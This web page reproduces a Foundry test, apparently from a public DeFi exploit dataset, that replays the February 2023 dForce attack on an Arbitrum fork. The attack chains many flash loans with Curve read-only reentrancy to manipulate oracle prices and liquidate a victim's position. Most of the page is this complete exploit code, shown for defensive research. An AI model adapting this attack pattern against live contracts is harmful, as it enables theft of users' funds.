Skip to content
THREATWIRE

Public reproduction file

src/test/2023-02/dForce_exp.sol

Public reproduction file for dataset entry - dForce.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-02/dForce_exp.sol381 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/SlowMist_Team/status/1623956763598000129
9// https://twitter.com/BlockSecTeam/status/1623901011680333824
10// https://twitter.com/peckshield/status/1623910257033617408
11// @TX
12// https://arbiscan.io/tx/0x5db5c2400ab56db697b3cc9aa02a05deab658e1438ce2f8692ca009cc45171dd
14interface uniswapV3Flash {
15 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
18interface ISwapFlashLoan {
19 function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;
22interface IVWSTETHCRVGAUGE is IERC20 {
23 function redeem(address receiver, uint256 amount) external;
26interface ICurvePools is ICurvePool {
27 function remove_liquidity(
28 uint256 token_amount,
29 uint256[2] memory min_amounts
30 ) external returns (uint256[2] memory);
33interface IDForce {
34 function borrowBalanceStored(
35 address account
36 ) external returns (uint256);
37 function liquidateBorrow(address _borrower, uint256 _repayAmount, address _assetCollateral) external;
40interface IPriceOracleV2 {
41 function getUnderlyingPrice(
42 address _asset
43 ) external returns (uint256);
46interface GMXVAULT {
47 function swap(address _tokenIn, address _tokenOut, address _receiver) external;
50contract ContractTest is Test {
51 IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
52 IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
53 IERC20 USX = IERC20(0x641441c631e2F909700d2f41FD87F0aA6A6b4EDb);
54 IERC20 WSTETH = IERC20(0x5979D7b546E38E414F7E9822514be443A4800529);
55 IERC20 WSTETHCRV = IERC20(0xDbcD16e622c95AcB2650b38eC799f76BFC557a0b);
56 IERC20 WSTETHCRVGAUGE = IERC20(0x098EF55011B6B8c99845128114A9D9159777d697);
57 IVWSTETHCRVGAUGE VWSTETHCRVGAUGE = IVWSTETHCRVGAUGE(0x2cE498b79C499c6BB64934042eBA487bD31F75ea);
58 IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
59 IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
60 IAaveFlashloan Radiant = IAaveFlashloan(0x2032b9A8e9F7e76768CA9271003d3e43E1616B1F);
61 uniswapV3Flash UniV3Flash = uniswapV3Flash(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);
62 Uni_Pair_V2 SLP1 = Uni_Pair_V2(0xB7E50106A5bd3Cf21AF210A755F9C8740890A8c9);
63 Uni_Pair_V2 SLP2 = Uni_Pair_V2(0x905dfCD5649217c42684f23958568e533C711Aa3);
64 Uni_Pair_V2 SLP3 = Uni_Pair_V2(0x0C1Cf6883efA1B496B01f654E247B9b419873054);
65 Uni_Pair_V2 ZLP = Uni_Pair_V2(0x8b8149Dd385955DC1cE77a4bE7700CCD6a212e65);
66 ISwapFlashLoan swapFlashLoan = ISwapFlashLoan(0xa067668661C84476aFcDc6fA5D758C4c01C34352);
67 ICurvePools curvePool = ICurvePools(0x6eB2dc694eB516B16Dc9FBc678C60052BbdD7d80);
68 ICointroller cointroller = ICointroller(0x61afB763bc265bD372e8Af8daC00196C9A5eCea0);
69 address aArbWETH = 0xe50fA9b3c56FfB159cB0FCA61F5c9D750e8128c8;
70 address rWETH = 0x15b53d277Af860f51c3E6843F8075007026BBb3a;
71 IDForce dForceContract = IDForce(0xC462fF1063172BAC6f6823A17ED181a0586f0FC8);
72 IPriceOracleV2 PriceOracle = IPriceOracleV2(0x15962427A9795005c640A6BF7f99c2BA1531aD6d);
73 IcurveYSwap curveYSwap = IcurveYSwap(0x2ce5Fd6f6F4a159987eac99FF5158B7B62189Acf);
74 GMXVAULT GMXVault = GMXVAULT(0x489ee077994B6658eAfA855C308275EAd8097C4A);
75 Borrower borrower;
76 address victimAddress2 = 0x916792f7734089470de27297903BED8a4630b26D;
77 uint256 balancerFlashloanAmount;
78 uint256 aaveV3FlashloanAmount;
79 uint256 UniV3FlashloanAmount;
80 uint256 SLP1FlashloanAmount;
81 uint256 SLP2FlashloanAmount;
82 uint256 SLP3FlashloanAmount;
83 uint256 ZLPFlashloanAmount;
84 uint256 swapFlashloanAmount;
85 uint256 nonce;
87 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
89 function setUp() public {
90 cheats.createSelectFork("arbitrum", 59_527_633);
91 cheats.label(address(WETH), "WETH");
92 cheats.label(address(USDC), "USDC");
93 cheats.label(address(USX), "USX");
94 cheats.label(address(WSTETH), "WSTETH");
95 cheats.label(address(WSTETHCRV), "WSTETHCRV");
96 cheats.label(address(WSTETHCRVGAUGE), "WSTETHCRVGAUGE");
97 cheats.label(address(VWSTETHCRVGAUGE), "VWSTETHCRVGAUGE");
98 cheats.label(address(balancer), "balancer");
99 cheats.label(address(aaveV3), "aaveV3");
100 cheats.label(address(Radiant), "Radiant");
101 cheats.label(address(UniV3Flash), "UniV3Flash");
102 cheats.label(address(SLP1), "SLP1");
103 cheats.label(address(SLP2), "SLP2");
104 cheats.label(address(SLP3), "SLP3");
105 cheats.label(address(ZLP), "ZLP");
106 cheats.label(address(swapFlashLoan), "swapFlashLoan");
107 cheats.label(address(curvePool), "curvePool");
108 cheats.label(address(cointroller), "cointroller");
109 cheats.label(address(aArbWETH), "aArbWETH");
110 cheats.label(address(rWETH), "rWETH");
111 cheats.label(address(dForceContract), "dForceContract");
112 cheats.label(address(PriceOracle), "PriceOracle");
113 cheats.label(address(curveYSwap), "curveYSwap");
114 cheats.label(address(GMXVault), "GMXVault");
115 }
117 function testExploit() public {
118 borrower = new Borrower();
119 payable(address(0x0)).transfer(address(this).balance);
120 WSTETH.approve(address(curvePool), type(uint256).max);
121 WSTETHCRV.approve(address(curvePool), type(uint256).max);
122 balancerFlashloan();
123 USX.approve(address(curveYSwap), type(uint256).max);
124 curveYSwap.exchange_underlying(0, 1, 500_000 * 1e18, 0);
125 emit log_named_decimal_uint(
126 "19.swap the USX token to USDC, and swap USDC to WETH, the USDC amount",
127 USDC.balanceOf(address(this)),
128 USDC.decimals()
129 );
130 USDC.transfer(address(GMXVault), USDC.balanceOf(address(this)));
131 GMXVault.swap(address(USDC), address(WETH), address(this));
133 emit log_named_decimal_uint(
134 "20.Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
135 );
136 }
137 // 1.balancerFlashloan
139 function balancerFlashloan() internal {
140 balancerFlashloanAmount = WETH.balanceOf(address(balancer));
141 emit log_named_decimal_uint("1.balancer Flashloan WETH amount", balancerFlashloanAmount, WETH.decimals());
142 address[] memory tokens = new address[](1);
143 tokens[0] = address(WETH);
144 uint256[] memory amounts = new uint256[](1);
145 amounts[0] = balancerFlashloanAmount;
146 bytes memory userData = "";
147 balancer.flashLoan(address(this), tokens, amounts, userData);
148 }
149 // 2.balancerFlashloan callback
151 function receiveFlashLoan(
152 address[] memory tokens,
153 uint256[] memory amounts,
154 uint256[] memory feeAmounts,
155 bytes memory userData
156 ) external {
157 aaveV3Flashloan();
158 WETH.transfer(address(balancer), balancerFlashloanAmount);
159 }
160 // 3.aaveV3Flashloan
162 function aaveV3Flashloan() internal {
163 aaveV3FlashloanAmount = WETH.balanceOf(aArbWETH);
164 emit log_named_decimal_uint("2.aave Flashloan WETH amount", aaveV3FlashloanAmount, WETH.decimals());
165 address[] memory assets = new address[](1);
166 assets[0] = address(WETH);
167 uint256[] memory amounts = new uint256[](1);
168 amounts[0] = aaveV3FlashloanAmount;
169 uint256[] memory modes = new uint256[](1);
170 modes[0] = 0;
171 aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
172 }
173 // 4.aaveV3Flashloan callback 6. RadiantFlashloan callback
175 function executeOperation(
176 address[] calldata assets,
177 uint256[] calldata amounts,
178 uint256[] calldata premiums,
179 address initiator,
180 bytes calldata params
181 ) external returns (bool) {
182 if (msg.sender == address(aaveV3)) {
183 RadiantFlashloan();
184 WETH.approve(address(aaveV3), type(uint256).max);
185 return true;
186 } else if (msg.sender == address(Radiant)) {
187 UniSwapV3Flashloan();
188 WETH.approve(address(Radiant), type(uint256).max);
189 return true;
190 }
191 }
192 // 5.RadiantFlashloan
194 function RadiantFlashloan() internal {
195 address[] memory assets = new address[](1);
196 assets[0] = address(WETH);
197 uint256[] memory amounts = new uint256[](1);
198 amounts[0] = WETH.balanceOf(rWETH);
199 uint256[] memory modes = new uint256[](1);
200 modes[0] = 0;
201 emit log_named_decimal_uint("3.Radiant Flashloan WETH amount", amounts[0], WETH.decimals());
202 Radiant.flashLoan(address(this), assets, amounts, modes, address(0), new bytes(1), 0);
203 }
204 // 7.UniSwapV3Flashloan
206 function UniSwapV3Flashloan() internal {
207 UniV3FlashloanAmount = WETH.balanceOf(address(UniV3Flash));
208 emit log_named_decimal_uint("4.UniswapV3 Flashloan WETH amount", UniV3FlashloanAmount, WETH.decimals());
209 UniV3Flash.flash(address(this), UniV3FlashloanAmount, 0, new bytes(1));
210 }
211 // 8.uniswapV3Flash Callback
213 function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
214 SLP1Flashloan();
215 WETH.transfer(address(UniV3Flash), UniV3FlashloanAmount * 1000 / 997 + 1000);
216 }
217 // 9.sushipair1Flashloan
219 function SLP1Flashloan() internal {
220 SLP1FlashloanAmount = WETH.balanceOf(address(SLP1)) - 1;
221 emit log_named_decimal_uint("5.Sushi Flashloan WETH amount", SLP1FlashloanAmount, WETH.decimals());
222 SLP1.swap(0, SLP1FlashloanAmount, address(this), new bytes(1));
223 }
224 // 11.sushipair2Flashloan
226 function SLP2Flashloan() internal {
227 SLP2FlashloanAmount = WETH.balanceOf(address(SLP2)) - 1;
228 emit log_named_decimal_uint("6.Sushi Flashloan WETH amount", SLP2FlashloanAmount, WETH.decimals());
229 SLP2.swap(SLP2FlashloanAmount, 0, address(this), new bytes(1));
230 }
231 // 13.sushipair3Flashloan
233 function SLP3Flashloan() internal {
234 SLP3FlashloanAmount = WETH.balanceOf(address(SLP3)) - 1;
235 emit log_named_decimal_uint("7.Sushi Flashloan WETH amount", SLP3FlashloanAmount, WETH.decimals());
236 SLP3.swap(0, SLP3FlashloanAmount, address(this), new bytes(1));
237 }
238 // 10.sushipair1Flashloan callback, 12.sushipair2Flashloan callback, 14.sushipair3Flashloan callback
240 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
241 if (msg.sender == address(SLP1)) {
242 SLP2Flashloan();
243 WETH.transfer(address(SLP1), SLP1FlashloanAmount * 1000 / 997 + 1000);
244 } else if (msg.sender == address(SLP2)) {
245 SLP3Flashloan();
246 WETH.transfer(address(SLP2), SLP2FlashloanAmount * 1000 / 997 + 1000);
247 } else if (msg.sender == address(SLP3)) {
248 ZyberFlashloan();
249 WETH.transfer(address(SLP3), SLP3FlashloanAmount * 1000 / 997 + 1000);
250 }
251 }
252 // 15. ZyberFlashloan
254 function ZyberFlashloan() internal {
255 ZLPFlashloanAmount = WETH.balanceOf(address(ZLP)) - 1;
256 emit log_named_decimal_uint("8.Zyber Flashloan WETH amount", ZLPFlashloanAmount, WETH.decimals());
257 ZLP.swap(ZLPFlashloanAmount, 0, address(this), new bytes(1));
258 }
259 // 16. ZyberFlashloan callback
261 function ZyberCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
262 SwapFlashLoans();
263 WETH.transfer(address(ZLP), ZLPFlashloanAmount * 10_000 / 9975 + 1000);
264 }
265 // 17. SwapFlashLoan
267 function SwapFlashLoans() internal {
268 swapFlashloanAmount = WETH.balanceOf(address(swapFlashLoan));
269 emit log_named_decimal_uint("9.SwapFlashLoan Flashloan WETH amount", swapFlashloanAmount, WETH.decimals());
270 swapFlashLoan.flashLoan(address(this), address(WETH), swapFlashloanAmount, new bytes(1));
271 }
272 // 18. SwapFlashLoan callback
274 function executeOperation(
275 address pool,
276 address token,
277 uint256 amount,
278 uint256 fee,
279 bytes calldata params
280 ) external payable {
281 uint256 ETHBalance = WETH.balanceOf(address(this));
282 WETH.withdraw(ETHBalance);
283 console.log("--------------------------------------------------");
284 emit log_named_decimal_uint(
285 "10.SwapFlashLoan callback, add liquidity to curve, the ETH amount", ETHBalance, WETH.decimals()
286 );
287 uint256 LPAmount = curvePool.add_liquidity{value: ETHBalance}([ETHBalance, 0], 0);
288 USX.approve(address(dForceContract), type(uint256).max);
289 USX.approve(address(VWSTETHCRVGAUGE), type(uint256).max);
290 console.log("--------------------------------------------------");
291 emit log_named_decimal_uint(
292 "11.Transfer wstETHCRV token to exploiter's borrower, token amount",
293 1_904_761_904_761_904_761_904,
294 WSTETHCRV.decimals()
295 );
296 WSTETHCRV.transfer(address(borrower), 1_904_761_904_761_904_761_904);
297 borrower.exec();
298 uint256 burnAmount = 63_438_591_176_197_540_597_712;
299 emit log_named_decimal_uint(
300 "14.Remove liquidity from curve, before reentrancy, the price of VWSTETHCRVGAUGE",
301 PriceOracle.getUnderlyingPrice(address(VWSTETHCRVGAUGE)),
302 VWSTETHCRVGAUGE.decimals()
303 );
304 curvePool.remove_liquidity(burnAmount, [uint256(0), uint256(0)]); // curve read-only-reentrancy
305 burnAmount = 2_924_339_222_027_299_635_899;
306 curvePool.remove_liquidity(burnAmount, [uint256(0), uint256(0)]);
307 curvePool.exchange(1, 0, WSTETH.balanceOf(address(this)), 0);
308 address(WETH).call{value: address(this).balance}(abi.encodeWithSignature("deposit()"));
309 WETH.transfer(address(swapFlashLoan), amount + fee); // repay flashloan amount
310 }
312 fallback() external payable {
313 if (nonce == 0 && msg.sender == address(curvePool)) {
314 nonce++;
315 emit log_named_decimal_uint(
316 "15.In reentrancy, the price of VWSTETHCRVGAUGE",
317 PriceOracle.getUnderlyingPrice(address(VWSTETHCRVGAUGE)),
318 VWSTETHCRVGAUGE.decimals()
319 );
320 uint256 borrowAmount = dForceContract.borrowBalanceStored(address(borrower));
321 uint256 Multiplier = cointroller.closeFactorMantissa();
322 emit log_named_decimal_uint(
323 "16.liquidate the exploiter's borrower, the borrowAmount of exploiter",
324 borrowAmount,
325 VWSTETHCRVGAUGE.decimals()
326 );
327 cointroller.liquidateCalculateSeizeTokens(
328 address(dForceContract), address(VWSTETHCRVGAUGE), borrowAmount * Multiplier / 1e18
329 );
330 dForceContract.liquidateBorrow(address(borrower), 560_525_526_525_080_924_601_515, address(VWSTETHCRVGAUGE));
331 borrowAmount = dForceContract.borrowBalanceStored(victimAddress2);
332 emit log_named_decimal_uint(
333 "17.liquidate the victim's borrower, the borrowAmount of victim",
334 borrowAmount,
335 VWSTETHCRVGAUGE.decimals()
336 );
337 console.log("--------------------------------------------------");
338 cointroller.liquidateCalculateSeizeTokens(
339 address(dForceContract), address(VWSTETHCRVGAUGE), borrowAmount * Multiplier / 1e18
340 );
341 dForceContract.liquidateBorrow(victimAddress2, 300_037_034_111_437_845_493_368, address(VWSTETHCRVGAUGE));
342 VWSTETHCRVGAUGE.redeem(address(this), VWSTETHCRVGAUGE.balanceOf(address(this)));
343 emit log_named_decimal_uint(
344 "18.redeem vwstETHCRV-gauge to wstETHCRV-gauge and withdraw wstETHCRV, the token amount",
345 WSTETHCRVGAUGE.balanceOf(address(this)),
346 WSTETHCRVGAUGE.decimals()
347 );
348 WSTETHCRVGAUGE.withdraw(WSTETHCRVGAUGE.balanceOf(address(this)));
349 }
350 }
353contract Borrower is Test {
354 IERC20 WSTETHCRV = IERC20(0xDbcD16e622c95AcB2650b38eC799f76BFC557a0b);
355 IERC20 WSTETHCRVGAUGE = IERC20(0x098EF55011B6B8c99845128114A9D9159777d697);
356 IERC20 USX = IERC20(0x641441c631e2F909700d2f41FD87F0aA6A6b4EDb);
357 IDForce dForceContract = IDForce(0xC462fF1063172BAC6f6823A17ED181a0586f0FC8);
359 function exec() external {
360 emit log_named_decimal_uint(
361 "12.deposit wstETHCRV to wstETHCRV-gauge, token amount", 1_904_761_904_761_904_761_904, WSTETHCRV.decimals()
362 );
363 WSTETHCRV.approve(address(WSTETHCRVGAUGE), type(uint256).max);
364 uint256 depositAmount = 1_904_761_904_761_904_761_904;
365 address(WSTETHCRVGAUGE).call(abi.encodeWithSignature("deposit(uint256)", depositAmount));
366 WSTETHCRVGAUGE.approve(address(dForceContract), type(uint256).max);
367 uint256 WSTETHCRVGAUGEAmount = WSTETHCRVGAUGE.balanceOf(address(this));
368 uint256 borrowAmount = 2_080_000_000_000_000_000_000_000;
369 (bool success,) = address(dForceContract).call(
370 abi.encodeWithSelector(0x4381c41a, uint256(1), WSTETHCRVGAUGEAmount, borrowAmount)
371 ); // get USX
372 require(success);
373 emit log_named_decimal_uint(
374 "13.deposit wstETHCRV-gauge to dForce, receive USX token, the token amount",
375 USX.balanceOf(address(this)),
376 USX.decimals()
377 );
378 USX.transfer(msg.sender, USX.balanceOf(address(this)));
379 console.log("--------------------------------------------------");
380 }

Analysis

Dataset entry

Public Foundry test for “- dForce” (2023-02-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
dForce
Path
src/test/2023-02/dForce_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
b812ff3c2f88433b5ed849dfa7aafe310a02797a
Language
Solidity
Size
382 lines
Date
2023-02-10
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-02/dForce_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b812ff3c2f88433b5ed849dfa7aafe310a02797a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.